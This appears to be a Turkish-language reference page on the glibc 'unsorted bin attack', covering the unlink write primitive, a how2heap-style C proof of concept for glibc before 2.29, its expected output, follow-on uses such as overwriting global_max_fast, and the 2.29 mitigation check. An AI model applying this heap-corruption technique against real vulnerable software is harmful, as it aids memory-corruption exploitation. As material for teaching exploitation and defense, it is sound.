Skip to content

unsorted bin attack

Freed bir unsorted-bin chunk'ının bk'sini overwrite et, böylece glibc'nin _int_malloc'u unsorted-bin list head'ini (bir main_arena adresi) attacker'ın seçtiği bir konuma yazar.

Mechanism

Unsorted bin, head'i main_arena içinde yaşayan circular bir doubly-linked list'tir. _int_malloc bin'i dolaştığında, son chunk victim'i arkadan unlink ederek kaldırır:

/* glibc _int_malloc, unsorted bin loop (simplified) */
victim = unsorted_chunks(av)->bk;
bck    = victim->bk;
...
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd                 = unsorted_chunks(av);   /* <-- the write */

O son satır, bck->fd'ye &unsorted_chunks(av)'yi — main_arena'ya geri işaret eden bir adres (bir libc adresi) — yazar. Bir attacker victim->bk'yi kontrol ederse, bck'yi kontrol eder ve dolayısıyla o libc adresinin nereye yazıldığını kontrol eder. fd, bir malloc_chunk'ın ilk field'ı olduğu için, bck->fd'ye yazmak bck + 0'a yazmak demektir; write'ı target'a indirmek için victim->bk = target - 16 ayarla (bk field'ı chunk'ın 0x18 offset'inde oturur).

Note

Bu kısıtlı bir write'tır: yazılan değer, attacker'ın seçtiği bir değer değil, unsorted-bin head adresinin ne olduğu (bir main_arena pointer'ı) ne ise odur. Klasik olarak global_max_fast'ı overwrite etmek için kullanılır, böylece neredeyse her size fastbin olarak nitelenir ve takip eden bir fastbin attack'ının kilidini açar, ya da bir loop-bound / flag word'ünü büyük bir değere ayarlamak için.

Walkthrough

Kanonik how2heap biçimi (glibc < 2.29; 2.29'da eklenen unsorted-bin integrity check'i — bck->fd != victim — naive versiyonu öldürür):

unsigned long target = 0;                 /* want this to become a libc addr */

unsigned long *p = malloc(0x410);         /* large enough to skip tcache */
malloc(0x20);                             /* guard chunk: avoid top consolidation */
free(p);                                  /* p goes to the unsorted bin */

/* vulnerability: overwrite p's bk */
p[1] = (unsigned long)(&target - 2);      /* victim->bk = target - 16 */

malloc(0x410);                            /* triggers the unlink write */
/* now: target == <address inside main_arena> */
Beklenen çıktı (how2heap unsorted_bin_attack)
The target we want to overwrite is at 0x... and contains 0
Allocated the victim chunk at 0x...
Freed the victim chunk; bk now points into the unsorted bin head
Overwriting victim->bk with target-16
Requesting a new chunk triggers the unsorted-bin write
The target now contains 0x7f... (a main_arena / libc address)

Yazılan değerin bir libc pointer'ı olması, bir counter'ı "çok büyük" yapmaya yeter: global_max_fast'ı overwrite etmek büyük free'leri fastbin free'leri olarak yeniden sınıflandırır, ki bu da house-of-force tarzı veya fastbin-dup takiplerini mümkün kılar.

Mitigation

glibc 2.29, if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks"); ekledi — unlink artık write'ı gerçekleştirmeden önce back pointer'ın tutarlı olduğunu doğrular ve single-pointer overwrite'ı kırar. Daha sonraki çalışmalar (large-bin-attack, house-of-storm), aynı "bir list pointer'ını boz, böylece insertion/unlinking senin yerine yazsın" fikrini o check'in ötesine genelleştirir.

References